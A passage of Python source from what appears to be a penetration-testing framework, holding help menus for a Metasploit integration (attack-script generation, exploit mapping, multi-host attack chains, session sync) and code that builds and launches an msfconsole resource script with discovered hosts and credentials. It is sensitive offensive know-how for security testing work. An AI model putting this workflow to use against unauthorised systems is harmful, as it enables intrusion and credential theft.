                    "name": "7. Generate Enumeration Script",
                    "desc": "Creates comprehensive service enumeration scripts.",
                    "prereq": "• Requires: Target hosts and services from scans",
                    "usage": "1. Import nmap results first\n       2. Generate enum script for deep service probing\n       3. Includes: SMB, SNMP, LDAP, FTP, etc."
                },
                {
                    "name": "8. Generate Database Attack Script",
                    "desc": "Creates scripts targeting database services (MySQL, MSSQL, PostgreSQL).",
                    "prereq": "• Requires: Database services (3306, 1433, 5432)\n         • Optional: Database credentials",
                    "usage": "1. Identify DB services from scans\n       2. Generate script with brute force or auth bypass\n       3. Configure for data extraction or shell access"
                }
            ]
        },
        {
            "title": "MODULE RECOMMENDATIONS",
            "color": "cyan",
            "items": [
                {
                    "name": "9. Get Modules for Service",
                    "desc": "Finds all MSF modules applicable to a specific service.",
                    "prereq": "• Requires: Service enumeration data",
                    "usage": "1. Select a host and service (e.g., Apache 2.4.49 on port 80)\n       2. System searches MSF database for matching modules\n       3. Shows exploits, scanners, and auxiliary modules\n       4. Generate script directly from results"
                },
                {
                    "name": "10. Find Exploits for Vulnerability",
                    "desc": "Maps CVE/vulnerability findings to MSF exploit modules.",
                    "prereq": "• Requires: Vulnerability findings with CVE IDs",
                    "usage": "1. Import vulnerability scan results\n       2. Select vulnerability from findings\n       3. System matches to MSF exploits via CVE database\n       4. Shows exploit modules with CVSS scores and descriptions"
                }
            ]
        },
        {
            "title": "AUTO-MAPPING",
            "color": "yellow",
            "items": [
                {
                    "name": "11. Map Services to Modules",
                    "desc": "Automatically maps ALL enumerated services to MSF modules.",
                    "prereq": "• Requires: Service enumeration complete",
                    "usage": "1. Run after initial service discovery\n       2. System analyzes all services and versions\n       3. Creates comprehensive mapping report\n       4. Shows: service → applicable modules → priority"
                },
                {
                    "name": "12. Map Findings to Exploits",
                    "desc": "Maps vulnerability findings to exploitable MSF modules.",
                    "prereq": "• Requires: Vulnerability scan findings",
                    "usage": "1. Run after vulnerability scanning\n       2. System matches findings to MSF exploits\n       3. Prioritizes by severity and exploitability\n       4. Export as target list for campaign planning"
                },
                {
                    "name": "13. Generate Attack Surface Report",
                    "desc": "Creates comprehensive attack surface analysis with MSF coverage.",
                    "prereq": "• Requires: Host, service, and vulnerability data",
                    "usage": "1. Run after complete enumeration phase\n       2. Generates HTML/text report showing:\n          • All discovered services\n          • Available MSF modules per service\n          • Vulnerability-to-exploit mappings\n          • Recommended attack paths"
                }
            ]
        },
        {
            "title": "ATTACK CHAINS",
            "color": "yellow",
            "items": [
                {
                    "name": "14. Build Progressive Chain",
                    "desc": "Creates multi-stage attack chains (recon → exploit → pivot → persist).",
                    "prereq": "• Requires: Target host selection",
                    "usage": "1. Select target host\n       2. System builds chain from enumeration through privilege escalation\n       3. Includes: port scan → service enum → exploit → post-exploit\n       4. Each stage depends on previous success"
                },
                {
                    "name": "15. Load Chain Template",
                    "desc": "Uses pre-built attack chain templates for common scenarios.",
                    "prereq": "• None - templates are built-in",
                    "usage": "1. Browse available templates:\n          • Windows Domain Compromise\n          • Linux Privilege Escalation\n          • Web Application Exploitation\n          • Network Pivot Chain\n       2. Customize target parameters\n       3. Deploy entire chain at once"
                },
                {
                    "name": "16. Build Multi-Host Chain",
                    "desc": "Creates attack chains spanning multiple hosts for lateral movement.",
                    "prereq": "• Requires: Multiple enumerated hosts\n         • Optional: Network topology mapping",
                    "usage": "1. Define entry point host\n       2. Select pivot targets and final objectives\n       3. System builds chain: initial access → pivot → target\n       4. Includes route establishment and session management"
                }
            ]
        },
        {
            "title": "LAUNCH",
            "color": "cyan",
            "items": [
                {
                    "name": "17. Launch MSF with Resource Script",
                    "desc": "Launches msfconsole with a generated or custom resource script.",
                    "prereq": "• Requires: msfconsole installed\n         • Requires: Generated resource script (.rc file)",
                    "usage": "1. Generate a resource script first (options 1-8)\n       2. Select this option\n       3. Choose script from list\n       4. MSF launches and executes script automatically"
                },
                {
                    "name": "18. Interactive MSF Console",
                    "desc": "Launches interactive msfconsole for manual operations.",
                    "prereq": "• Requires: msfconsole installed",
                    "usage": "1. Direct access to msfconsole\n       2. Use for manual module execution\n       3. Session management\n       4. Custom exploit development"
                }
            ]
        },
        {
            "title": "DATA SYNC & SESSIONS",
            "color": "magenta",
            "items": [
                {
                    "name": "19. Import MSF Data",
                    "desc": "Imports data from MSF database into SoulEyez (one-way sync).",
                    "prereq": "• Requires: MSF database with data (hosts/services/vulns/creds/sessions)\n         • Requires: PostgreSQL connection to MSF DB\n         • Dependencies: Included in base installation (psycopg2-binary, msgpack)",
                    "usage": "1. Configure MSF database connection:\n          • Host: localhost (default) or remote MSF instance\n          • Port: 5432 (PostgreSQL default)\n          • Database: msf (default) or custom\n          • Username: msf user\n          • Password: msf password\n       2. Select data types to import:\n          • Hosts: IP addresses, hostnames, OS info\n          • Services: Ports, protocols, versions\n          • Vulnerabilities: CVEs, findings\n          • Credentials: Usernames, passwords, hashes\n          • Sessions: Active/closed meterpreter sessions\n       3. Data merges with existing SoulEyez data\n       4. Duplicates are detected and updated"
                },
                {
                    "name": "20. Sync Exploit Results",
                    "desc": "Syncs successful exploit attempts from MSF to SoulEyez.",
                    "prereq": "• Requires: MSF database connection\n         • Requires: Active or recent MSF exploitation activity",
                    "usage": "1. Run after MSF exploitation campaigns\n       2. System queries MSF for successful exploits\n       3. Updates SoulEyez findings with:\n          • Exploit module used\n          • Success/failure status\n          • Timestamp and session IDs\n       4. Helps track what worked and what didn't"
                },
                {
                    "name": "21. View Active MSF Sessions",
                    "desc": "Displays active meterpreter/shell sessions from MSF.",
                    "prereq": "• Requires: MSF database connection OR MSF RPC enabled\n         • Requires: Active sessions in MSF",
                    "usage": "1. Shows real-time session status:\n          • Session ID and type (meterpreter/shell)\n          • Target host and user\n          • Connection time and tunnel info\n          • Session health status\n       2. Integrates with SoulEyez host tracking\n       3. Links sessions to compromised hosts\n       4. Use for session management and planning next steps"
                }
            ]
        }
    ]

    # General workflow tips section
    workflow_section = {
        "title": "GENERAL WORKFLOW TIPS",
        "color": "cyan",
        "content": [
            ("Basic Workflow:", [
                "1. Enumerate: Import nmap/nuclei results into SoulEyez",
                "2. Map: Use auto-mapping (11-13) to identify attack opportunities",
                "3. Plan: Build attack chains (14-16) or select individual exploits",
                "4. Generate: Create resource scripts (1-8) for automation",
                "5. Launch: Execute via MSF (17-18)",
                "6. Sync: Import results back (19-20) and track sessions (21)"
            ]),
            ("Database Integration:", [
                "• Options 19-21 require MSF database access",
                "• Dependencies included in base installation (psycopg2-binary, msgpack)",
                "• Configure MSF to use PostgreSQL database",
                "• Connection info typically: localhost:5432, db=msf"
            ]),
            ("Best Practices:", [
                "• Always review generated scripts before launching",
                "• Set correct LHOST/LPORT for reverse shells",
                "• Use attack chains for complex multi-stage operations",
                "• Sync results regularly to track progress",
                "• Keep MSF and exploit database updated"
            ])
        ]
    }

    while True:
        DesignSystem.clear_screen()
        width = get_terminal_width()

        click.echo("\n┌" + "─" * (width - 2) + "┐")
        click.echo("│" + click.style(" MSF INTEGRATION - HELP GUIDE ".center(width - 2), bold=True, fg='cyan') + "│")
        click.echo("└" + "─" * (width - 2) + "┘\n")

        click.echo(click.style("  📖 SELECT A SECTION", bold=True))
        click.echo("  " + "─" * (width - 4))
        click.echo()

        # Display section menu
        for idx, section in enumerate(help_sections, 1):
            feature_count = len(section['items'])
            click.echo(f"    [{idx}] {click.style(section['title'], fg=section['color'], bold=True)} ({feature_count} features)")

        click.echo(f"    [{len(help_sections) + 1}] {click.style(workflow_section['title'], fg=workflow_section['color'], bold=True)}")
        click.echo()
        click.echo("  " + "─" * (width - 4))
        click.echo()
        click.echo("    [q] ← Back")
        click.echo()
        click.echo("  " + "─" * (width - 4))
        click.echo(click.style("  Select option: ", bold=True), nl=False)

        try:
            choice = input().strip()

            if choice in ('', 'q'):
                return

            try:
                choice_num = int(choice)
            except ValueError:
                click.echo(click.style("\n  ✗ Invalid choice.", fg='red'))
                click.pause()
                continue

            # Show workflow tips section
            if choice_num == len(help_sections) + 1:
                _display_workflow_tips(workflow_section, width)
                continue

            # Show selected feature section
            if 1 <= choice_num <= len(help_sections):
                _display_help_section(help_sections[choice_num - 1], width)
            else:
                click.echo(click.style(f"\n  ✗ Invalid choice. Please select 1-{len(help_sections) + 1} or 0.", fg='red'))
                click.pause()

        except (KeyboardInterrupt, EOFError):
            click.echo("\n")
            return


def _display_help_section(section, width):
    """Display detailed help for a specific MSF Integration section."""
    DesignSystem.clear_screen()

    click.echo("\n┌" + "─" * (width - 2) + "┐")
    click.echo("│" + click.style(f" {section['title']} ".center(width - 2), bold=True, fg=section['color']) + "│")
    click.echo("└" + "─" * (width - 2) + "┘\n")

    for item in section['items']:
        click.echo(click.style(f"  {item['name']}", fg='white', bold=True))
        click.echo(f"     {item['desc']}")
        click.echo()
        click.echo(click.style("     Prerequisites:", fg='yellow'))
        click.echo(f"     {item['prereq']}")
        click.echo()
        click.echo(click.style("     How to use:", fg='green'))
        click.echo(f"     {item['usage']}")
        click.echo()
        click.echo("  " + "─" * (width - 4))
        click.echo()

    click.pause("\nPress any key to return to section menu...")


def _display_workflow_tips(section, width):
    """Display general workflow tips and best practices."""
    DesignSystem.clear_screen()

    click.echo("\n┌" + "─" * (width - 2) + "┐")
    click.echo("│" + click.style(f" {section['title']} ".center(width - 2), bold=True, fg=section['color']) + "│")
    click.echo("└" + "─" * (width - 2) + "┘\n")

    for title, items in section['content']:
        click.echo("  " + click.style(title, fg='white', bold=True))
        for item in items:
            click.echo(f"     {item}")
        click.echo()

    click.pause("\nPress any key to return to section menu...")


def show_tool_help(tool_name: str, help_info: dict):
    """Display comprehensive help for any tool with section-based navigation."""

    help_sections = help_info.get('help_sections', [])
    if not help_sections:
        click.echo(click.style("\n  ℹ No detailed help available for this tool.", fg='yellow'))
        click.pause("\nPress any key to continue...")
        return

    tool_title = help_info.get('name', tool_name)

    while True:
        DesignSystem.clear_screen()
        width = get_terminal_width()

        click.echo("\n┌" + "─" * (width - 2) + "┐")
        click.echo("│" + click.style(f" {tool_title.upper()} - HELP GUIDE ".center(width - 2), bold=True, fg='cyan') + "│")
        click.echo("└" + "─" * (width - 2) + "┘\n")

        click.echo(click.style("  📖 SELECT A SECTION", bold=True))
        click.echo("  " + "─" * (width - 4))
        click.echo()

        # Display section menu
        for idx, section in enumerate(help_sections, 1):
            section_title = section.get('title', f'Section {idx}')
            color = section.get('color', 'cyan')
            click.echo(f"    [{idx}] {click.style(section_title, fg=color, bold=True)}")

        click.echo()
        click.echo("  " + "─" * (width - 4))
        click.echo()
        click.echo("    [q] ← Back")
        click.echo()
        click.echo("  " + "─" * (width - 4))
        click.echo(click.style("  Select option: ", bold=True), nl=False)

        try:
            choice = input().strip()

            if choice in ('', 'q'):
                return

            try:
                choice_num = int(choice)
            except ValueError:
                click.echo(click.style("\n  ✗ Invalid choice.", fg='red'))
                click.pause()
                continue

            # Show selected section
            if 1 <= choice_num <= len(help_sections):
                _display_tool_help_section(help_sections[choice_num - 1], width)
            else:
                click.echo(click.style(f"\n  ✗ Invalid choice. Please select 1-{len(help_sections)} or 0.", fg='red'))
                click.pause()

        except (KeyboardInterrupt, EOFError):
            click.echo("\n")
            return


def _display_tool_help_section(section, width):
    """Display detailed help for a specific tool section."""
    DesignSystem.clear_screen()

    section_title = section.get('title', 'Help Section')
    color = section.get('color', 'cyan')

    click.echo("\n┌" + "─" * (width - 2) + "┐")
    click.echo("│" + click.style(f" {section_title} ".center(width - 2), bold=True, fg=color) + "│")
    click.echo("└" + "─" * (width - 2) + "┘\n")

    content = section.get('content', [])

    # Handle string content (display as-is, not character by character)
    if isinstance(content, str):
        # Split into lines and display
        for line in content.split('\n'):
            click.echo(f"  {line}")
        click.echo()
    # Handle both list of items and list of (title, items) tuples
    elif content and isinstance(content[0], tuple):
        # Workflow tips style (title, items)
        for title, items in content:
            click.echo("  " + click.style(title, fg='white', bold=True))
            for item in items:
                click.echo(f"     {item}")
            click.echo()
    elif content and isinstance(content[0], dict):
        # Feature items style
        for item in content:
            click.echo(click.style(f"  {item.get('title', '')}", fg='white', bold=True))
            desc = item.get('desc', '')
            if desc:
                click.echo(f"     {desc}")
            click.echo()

            tips = item.get('tips', [])
            if tips:
                click.echo(click.style("     Tips:", fg='yellow'))
                for tip in tips:
                    click.echo(f"     • {tip}")
                click.echo()

            click.echo("  " + "─" * (width - 4))
            click.echo()
    else:
        # Simple text content (list of strings)
        for item in content:
            click.echo(f"  {item}")
        click.echo()

    click.pause("\nPress any key to return to section menu...")


def manage_msf_integration(engagement_id=None):
    """DEPRECATED: Use msf_integration_menu() instead. This function redirects to the consolidated menu."""
    # Redirect to the consolidated menu
    return msf_integration_menu()



def _launch_interactive_msfconsole(engagement_id: int):
    """Launch an interactive msfconsole with engagement context pre-loaded."""
    import tempfile
    import re
    from souleyez.storage.hosts import HostManager
    from souleyez.storage.credentials import CredentialsManager
    from souleyez.storage.engagements import EngagementManager

    DesignSystem.clear_screen()
    click.echo("\n" + "=" * 70)
    click.echo("INTERACTIVE MSFCONSOLE")
    click.echo("=" * 70 + "\n")

    click.echo(click.style("  🚀 Launching embedded msfconsole...", fg='cyan', bold=True))
    click.echo()
    click.echo("  💡 Features:")
    click.echo("     • Your engagement data is pre-loaded")
    click.echo("     • Hosts imported into MSF database")
    click.echo("     • RHOSTS can be set from discovered hosts")
    click.echo("     • Credentials available for attacks")
    click.echo("     • Type 'exit' to return to souleyez")
    click.echo()
    click.echo(click.style("  ⚠️  Note: Launching with sudo for exploit capabilities", fg='yellow', bold=True))
    click.echo()

    # Gather engagement data
    em = EngagementManager()
    hm = HostManager()
    cm = CredentialsManager()

    # Get engagement name for workspace
    engagement = em.get_by_id(engagement_id)
    engagement_name = engagement.get('name', f'engagement_{engagement_id}') if engagement else f'engagement_{engagement_id}'
    
    hosts = hm.list_hosts(engagement_id)
    creds = cm.list_credentials(engagement_id)
    
    # Build RHOSTS list
    host_ips = [h.get('ip_address') for h in hosts if h.get('status') == 'up']
    rhosts_str = ' '.join(host_ips[:20])  # Limit to first 20
    
    # Show context
    click.echo(click.style(f"  📊 Engagement Context:", bold=True))
    click.echo(f"     • {len(hosts)} host(s) discovered ({len(host_ips)} active)")
    click.echo(f"     • {len(creds)} credential(s) available")
    
    if host_ips:
        click.echo(f"     • RHOSTS preset: {host_ips[0]}" + (f" +{len(host_ips)-1} more" if len(host_ips) > 1 else ""))
    click.echo()
    
    # Create a resource script to pre-configure the session
    with tempfile.NamedTemporaryFile(mode='w', suffix='.rc', delete=False) as rc:
        rc.write("# SoulIze Engagement Context\n")
        rc.write(f"# Auto-generated for engagement {engagement_id}\n\n")
        
        # Set workspace (create if doesn't exist, reuse if it does)
        # Sanitize engagement name for MSF workspace (alphanumeric + underscore only)
        workspace_name = re.sub(r'[^a-zA-Z0-9_]', '_', engagement_name)
        workspace_name = re.sub(r'_+', '_', workspace_name).strip('_')  # Collapse multiple underscores
        if not workspace_name:
            workspace_name = f"engagement_{engagement_id}"
        rc.write(f"# Create or switch to workspace\n")
        rc.write(f"workspace -a {workspace_name}\n")  # Create if doesn't exist
        rc.write(f"workspace {workspace_name}\n\n")
        
        # Filter to only active/up hosts
        active_hosts = [h for h in hosts if h.get('status') == 'up']
        
        # Import hosts into MSF database (only add if not exists)
        rc.write("# Import active hosts into MSF database\n")
        rc.write("<ruby>\n")
        rc.write("# Efficiently add hosts only if they don't exist\n")
        for host in active_hosts[:100]:  # Limit to first 100 to avoid slowdown
            ip = host.get('ip_address')
            hostname = host.get('hostname', '')
            os_name = host.get('os_name', '')
            
            if ip:
                # Simplify OS name
                os_simple = ''
                if os_name:
                    os_name_part = os_name.split(',')[0].strip()
                    if 'Linux' in os_name_part:
                        os_simple = 'Linux'
                    elif 'Windows' in os_name_part:
                        os_simple = 'Windows'
                    elif 'macOS' in os_name_part or 'Darwin' in os_name_part:
                        os_simple = 'Mac OS X'
                    elif 'Android' in os_name_part:
                        os_simple = 'Android'
                    elif 'iOS' in os_name_part:
                        os_simple = 'iOS'
                
                # Write Ruby code to add host if not exists
                rc.write(f"host = framework.db.hosts.where(address: '{ip}').first\n")
                rc.write(f"if host.nil?\n")
                rc.write(f"  framework.db.report_host(host: '{ip}'")
                if hostname:
                    hostname_escaped = hostname.replace("'", "\\'")
                    rc.write(f", name: '{hostname_escaped}'")
                if os_simple:
                    rc.write(f", os_name: '{os_simple}'")
                rc.write(f")\n")
                if hostname or os_simple:
                    rc.write(f"else\n")
                    # Update hostname and OS if they're set and host exists
                    if hostname:
                        hostname_escaped = hostname.replace("'", "\\'")
                        rc.write(f"  host.update(name: '{hostname_escaped}') if host.name.blank?\n")
                    if os_simple:
                        rc.write(f"  host.update(os_name: '{os_simple}') if host.os_name.blank?\n")
                rc.write(f"end\n")
        rc.write("</ruby>\n\n")
        
        # Import services (only from active hosts, only add if not exists)
        rc.write("# Import services into MSF database\n")
        rc.write("<ruby>\n")
        service_count = 0
        services_with_version = []  # Track services that have version info
        
        for host in active_hosts[:50]:  # Limit hosts to avoid slowdown
            host_id = host.get('id')
            ip = host.get('ip_address')
            if not ip:
                continue
                
            services = hm.get_host_services(host_id)
            for svc in services[:20]:  # Limit services per host
                port = svc.get('port')
                proto = svc.get('protocol', 'tcp')
                name = svc.get('service_name', '')
                version = svc.get('service_version', '')
                
                if port:
                    # Clean service name
                    name_clean = ''
                    if name:
                        name_clean = name.replace("'", "").replace('"', '').replace('?', '').replace('/', '').replace("\\", "").replace(' ', '_').replace('(', '').replace(')', '')
                        if name_clean == 'unknown' or not name_clean:
                            name_clean = ''
                    
                    # Write Ruby code to add service if not exists
                    rc.write(f"host = framework.db.hosts.where(address: '{ip}').first\n")
                    rc.write(f"if host\n")
                    rc.write(f"  svc = framework.db.services.where(host_id: host.id, port: {port}, proto: '{proto}').first\n")
                    rc.write(f"  if svc.nil?\n")
                    rc.write(f"    framework.db.report_service(host: host, port: {port}, proto: '{proto}'")
                    if name_clean:
                        rc.write(f", name: '{name_clean}'")
                    if version and version != '-' and version.lower() not in ['unknown', 'none']:
                        version_escaped = version.replace("'", "\\'").replace('"', '\\"')
                        rc.write(f", info: '{version_escaped}'")
                    rc.write(f")\n")
                    rc.write(f"  end\n")
                    rc.write(f"end\n")
                    
                    service_count += 1
        
        rc.write("</ruby>\n")
        rc.write(f"\n# Checked {len(active_hosts[:100])} active hosts and {service_count} services (added only if new)\n\n")
        
        # Pre-set RHOSTS if we have hosts
        if rhosts_str:
            rc.write(f"# Discovered hosts (set with: setg RHOSTS {rhosts_str})\n")
            rc.write(f"setg RHOSTS {rhosts_str}\n\n")
        
        # Show credentials info
        if creds:
            rc.write("# Available credentials:\n")
            for cred in creds[:5]:
                username = cred.get('username', '')
                password = cred.get('password', '')
                service = cred.get('service', 'unknown')
                if username and password:
                    rc.write(f"#   {service}: {username}/{password}\n")
            if len(creds) > 5:
                rc.write(f"#   ... and {len(creds)-5} more\n")
            rc.write("\n")
        
        # Welcome banner
        rc.write('banner\n')
        rc.write(f'echo ""\n')
        rc.write(f'echo "═══════════════════════════════════════════════════════════════"\n')
        rc.write(f'echo "  SOULEYEZ → MSFCONSOLE INTEGRATION"\n')
        rc.write(f'echo "═══════════════════════════════════════════════════════════════"\n')
        rc.write(f'echo ""\n')
        rc.write(f'echo "  Workspace: {workspace_name}"\n')
        rc.write(f'echo "  Hosts: {len(active_hosts)} active | Services: {service_count} | Credentials: {len(creds)}"\n')
        rc.write(f'echo ""\n')
        rc.write(f'echo "  ✓ {len(active_hosts)} active hosts imported - use: hosts"\n')
        rc.write(f'echo "  ✓ {service_count} services imported - use: services"\n')
        if rhosts_str:
            rc.write(f'echo "  ✓ RHOSTS pre-set - use: show options"\n')
        rc.write(f'echo ""\n')
        rc.write(f'echo "  Quick Commands:"\n')
        rc.write(f'echo "    • hosts                     - View imported hosts"\n')
        rc.write(f'echo "    • services                  - View imported services"\n')
        rc.write(f'echo "    • use auxiliary/...         - Load a module"\n')
        rc.write(f'echo "    • search <keyword>          - Find modules"\n')
        rc.write(f'echo "    • exit                      - Return to souleyez"\n')
        rc.write(f'echo ""\n')
        rc.write(f'echo "═══════════════════════════════════════════════════════════════"\n')
        rc.write(f'echo ""\n')

        # Clear screen and show banner for clean display
        rc.write('clear\n')
        rc.write('banner\n')

        rc_path = rc.name
    
    try:
        click.pause("Press Enter to launch msfconsole...")

        # Launch msfconsole with our resource script
        # Use sudo for privilege escalation (needed for exploits)
        # Note: msfdb init must have been run first as normal user
        msf_cmd = ['sudo', 'msfconsole', '-q']
        if _needs_msf_no_readline():
            msf_cmd.append('--no-readline')
        msf_cmd.extend(['-r', rc_path])
        os.system(shlex.join(msf_cmd))  # nosec B605 - intentional shell for TTY, args escaped with shlex

        # Reset terminal after msfconsole (safety measure)
        os.system('stty sane 2>/dev/null')  # nosec B605 - static command

        click.echo()
        click.echo(click.style("✓ Returned from msfconsole", fg='green'))
        click.pause()
        
    finally:
        # Clean up temp file
        if os.path.exists(rc_path):
            os.unlink(rc_path)


def _check_msf_dependencies(verbose=False):
    """
    Check if MSF integration dependencies are installed.

    Args:
        verbose: If True, print diagnostic information

    Returns:
        Tuple of (all_installed, missing_packages)
    """
    missing = []
    import sys

    if verbose:
        click.echo()
        click.echo(click.style("  Diagnostic Information:", bold=True))
        click.echo(f"  Python executable: {sys.executable}")
        click.echo(f"  Python version: {sys.version.split()[0]}")
        click.echo(f"  Python path: {':'.join(sys.path[:3])}...")
        click.echo()

    try:
        import psycopg2
        if verbose:
            click.echo(click.style(f"  ✓ psycopg2 found at: {psycopg2.__file__}", fg='green'))
    except ImportError as e:
        missing.append('psycopg2-binary')
        if verbose:
            click.echo(click.style(f"  ✗ psycopg2 not found: {e}", fg='red'))

    try:
        import msgpack
        if verbose:
            click.echo(click.style(f"  ✓ msgpack found at: {msgpack.__file__}", fg='green'))
    except ImportError as e:
        missing.append('msgpack')
        if verbose:
            click.echo(f"  ✗ msgpack not found: {e}")

    try:
        import requests
        if verbose:
            click.echo(click.style(f"  ✓ requests found at: {requests.__file__}", fg='green'))
    except ImportError as e:
        missing.append('requests')
        if verbose:
            click.echo(f"  ✗ requests not found: {e}")

    if verbose:
        click.echo()

    return (len(missing) == 0, missing)


def _ensure_msf_database_ready():
    """
    Ensure MSF database is ready by starting PostgreSQL and initializing msfdb if needed.

    Returns:
        Tuple of (success, message)
    """
    import subprocess
    import shutil

    # Check if msfdb command exists
    msfdb_path = shutil.which('msfdb')
    if not msfdb_path:
        return (False, "msfdb command not found. Is Metasploit installed?")

    # Step 1: Check PostgreSQL service status
    click.echo("  Checking PostgreSQL service...")
    try:
        result = subprocess.run(
            ['systemctl', 'is-active', 'postgresql'],
            capture_output=True,
            text=True,
            timeout=10
        )
        pg_running = result.returncode == 0
    except Exception:
        pg_running = False

    if not pg_running:
        click.echo(click.style("  PostgreSQL is not running. Starting...", fg='yellow'))
        try:
            result = subprocess.run(
                ['sudo', 'systemctl', 'start', 'postgresql'],
                capture_output=True,
                text=True,
                timeout=30
            )
            if result.returncode == 0:
                click.echo(click.style("  ✓ PostgreSQL started", fg='green'))
            else:
                return (False, f"Failed to start PostgreSQL: {result.stderr}")
        except subprocess.TimeoutExpired:
            return (False, "Timeout starting PostgreSQL")
        except Exception as e:
            return (False, f"Error starting PostgreSQL: {e}")
    else:
        click.echo(click.style("  ✓ PostgreSQL is running", fg='green'))

    # Step 2: Check if msfdb is initialized by checking db status
    click.echo("  Checking MSF database status...")
    try:
        result = subprocess.run(
            ['msfdb', 'status'],
            capture_output=True,
            text=True,
            timeout=15
        )
        output = result.stdout + result.stderr

        # Check if database exists and is connected
        db_initialized = 'Database started' in output or 'msf' in output.lower()

        if not db_initialized or 'no connection' in output.lower():
            click.echo(click.style("  MSF database needs initialization...", fg='yellow'))

            # Initialize msfdb
            click.echo("  Running msfdb init (this may take a moment)...")
            result = subprocess.run(
                ['sudo', 'msfdb', 'init'],
                capture_output=True,
                text=True,
                timeout=120
            )
            if result.returncode == 0:
                click.echo(click.style("  ✓ MSF database initialized", fg='green'))
            else:
                # Try msfdb reinit if init fails
                click.echo(click.style("  Init failed, trying reinit...", fg='yellow'))
                result = subprocess.run(
                    ['sudo', 'msfdb', 'reinit'],
                    capture_output=True,
                    text=True,
                    timeout=120
                )
                if result.returncode == 0:
                    click.echo(click.style("  ✓ MSF database reinitialized", fg='green'))
                else:
                    return (False, f"Failed to initialize msfdb: {result.stderr}")
        else:
            click.echo(click.style("  ✓ MSF database is ready", fg='green'))

    except subprocess.TimeoutExpired:
        return (False, "Timeout checking/initializing msfdb")
    except Exception as e:
        return (False, f"Error with msfdb: {e}")

    return (True, "MSF database is ready")


def _test_postgresql_connection(host, port, database, username, password):
    """
    Test PostgreSQL connection to MSF database.

    Returns:
        Tuple of (success, error_message)
    """
    try:
        import psycopg2
        conn = psycopg2.connect(
            host=host,
            port=port,
            database=database,
            user=username,
            password=password,
            connect_timeout=5
        )
        conn.close()
        return (True, "")
    except Exception as e:
        return (False, str(e))


def _guided_msf_setup():
    """
    Guide user through MSF integration setup.

    Returns:
        True if setup completed successfully, False if user cancelled
    """
    width = get_terminal_width()

    click.echo()
    click.echo("┌" + "─" * (width - 2) + "┐")
    click.echo("│" + click.style(" MSF INTEGRATION SETUP ".center(width - 2), bold=True, fg='cyan') + "│")
    click.echo("└" + "─" * (width - 2) + "┘")
    click.echo()

    # Step 1: Check dependencies
    click.echo(click.style("  Step 1/3: Checking Dependencies", bold=True))
    click.echo()

    all_installed, missing = _check_msf_dependencies()

    if not all_installed:
        click.echo(click.style("  ✗ Missing required dependencies:", fg='yellow'))
        click.echo()
        for pkg in missing:
            click.echo(f"    • {pkg}")
        click.echo()
        click.echo(click.style("  Installation Required:", bold=True))
        click.echo()
        click.echo("  MSF dependencies are included in base installation but may be missing.")
        click.echo("  To install the missing packages, run:")
        click.echo()
        click.echo(click.style("    pip install psycopg2-binary msgpack requests", fg='cyan', bold=True))
        click.echo()
        click.echo("  Or reinstall SoulEyez to get all dependencies:")
        click.echo(click.style("    pip install -e .", fg='cyan'))
        click.echo()

        if click.confirm("  Would you like to install dependencies now?", default=True):
            click.echo()
            click.echo(click.style("  Installing dependencies...", fg='cyan'))
            import subprocess
            import sys

            try:
                result = subprocess.run(
                    [sys.executable, '-m', 'pip', 'install', 'psycopg2-binary', 'msgpack', 'requests'],
                    capture_output=True,
                    text=True,
                    timeout=120
                )

                if result.returncode == 0:
                    click.echo(click.style("  ✓ Dependencies installed successfully!", fg='green'))
                    click.echo()

                    # Invalidate import cache so newly installed packages can be found
                    import importlib
                    importlib.invalidate_caches()

                    # Re-check to confirm
                    all_installed, missing = _check_msf_dependencies(verbose=True)
                    if not all_installed:
                        click.echo(click.style("  ⚠️  Note: Packages may be installed in wrong location", fg='yellow'))
                        click.echo()
                        click.echo("  The packages were installed, but Python can't find them.")
                        click.echo("  This usually means they were installed for a different Python.")
                        click.echo()
                        click.echo(click.style("  Troubleshooting:", bold=True))
                        click.echo()
                        click.echo("  Option 1: Install manually (recommended)")
                        click.echo(click.style(f"    {sys.executable} -m pip install psycopg2-binary msgpack requests", fg='cyan'))
                        click.echo()
                        click.echo("  Option 2: Try installing with system pip:")
                        click.echo(click.style("    pip install psycopg2-binary msgpack requests", fg='cyan'))
                        click.echo(click.style("    pip3 install psycopg2-binary msgpack requests", fg='cyan'))
                        click.echo()
                        click.echo("  Option 3: Skip check and try anyway (may fail)")
                        click.echo()

                        if click.confirm("  Would you like to skip the dependency check and continue?", default=False):
                            click.echo()
                            click.echo(click.style("  ⚠️  Proceeding without verified dependencies...", fg='yellow'))
                            click.echo()
                            return True

                        click.echo()
                        click.pause()
                        return False
                else:
                    click.echo(click.style(f"  ✗ Installation failed: {result.stderr}", fg='red'))
                    click.echo()
                    click.echo("  Please install manually with:")
                    click.echo(click.style("    pip install psycopg2-binary msgpack requests", fg='cyan'))
                    click.echo()
                    click.pause()
                    return False

            except Exception as e:
                click.echo(click.style(f"  ✗ Installation failed: {e}", fg='red'))
                click.echo()
                click.pause()
                return False
        else:
            click.echo()
            click.echo(click.style("  Setup cancelled. Please install dependencies and try again.", fg='yellow'))
            click.echo()
            click.pause()
            return False
    else:
        click.echo(click.style("  ✓ All dependencies installed", fg='green'))
        click.echo()

    # Step 2: Ensure MSF database is ready (auto-start PostgreSQL, auto-init msfdb)
    click.echo(click.style("  Step 2/3: MSF Database Setup", bold=True))
    click.echo()

    # Auto-initialize MSF database
    success, message = _ensure_msf_database_ready()
    if not success:
        click.echo(click.style(f"  ✗ {message}", fg='red'))
        click.echo()
        click.echo("  Please run these commands manually:")
        click.echo(click.style("    sudo systemctl start postgresql", fg='cyan'))
        click.echo(click.style("    sudo msfdb init", fg='cyan'))
        click.echo()
        if not click.confirm("  Continue anyway?", default=False):
            click.pause()
            return False
    click.echo()

    # Step 3: Test PostgreSQL connection
    click.echo(click.style("  Step 3/3: PostgreSQL Connection Test", bold=True))
    click.echo()
    click.echo("  Enter MSF database connection details:")
    click.echo()

    max_attempts = 3
    for attempt in range(max_attempts):
        if attempt > 0:
            click.echo()
            click.echo(click.style(f"  Attempt {attempt + 1}/{max_attempts}", fg='yellow'))
            click.echo()

        host = click.prompt("  Database Host", default="localhost", type=str)
        port = click.prompt("  Database Port", default=5432, type=int)
        database = click.prompt("  Database Name", default="msf", type=str)
        username = click.prompt("  Username", default="msf", type=str)
        password = click.prompt("  Password", default="", type=str, hide_input=True)

        click.echo()
        click.echo(click.style("  Testing connection...", fg='cyan'))

        success, error = _test_postgresql_connection(host, port, database, username, password)

        if success:
            click.echo(click.style("  ✓ Connection successful!", fg='green'))
            click.echo()
            click.echo(click.style("  ✓ Setup complete!", fg='green', bold=True))
            click.echo()
            return True
        else:
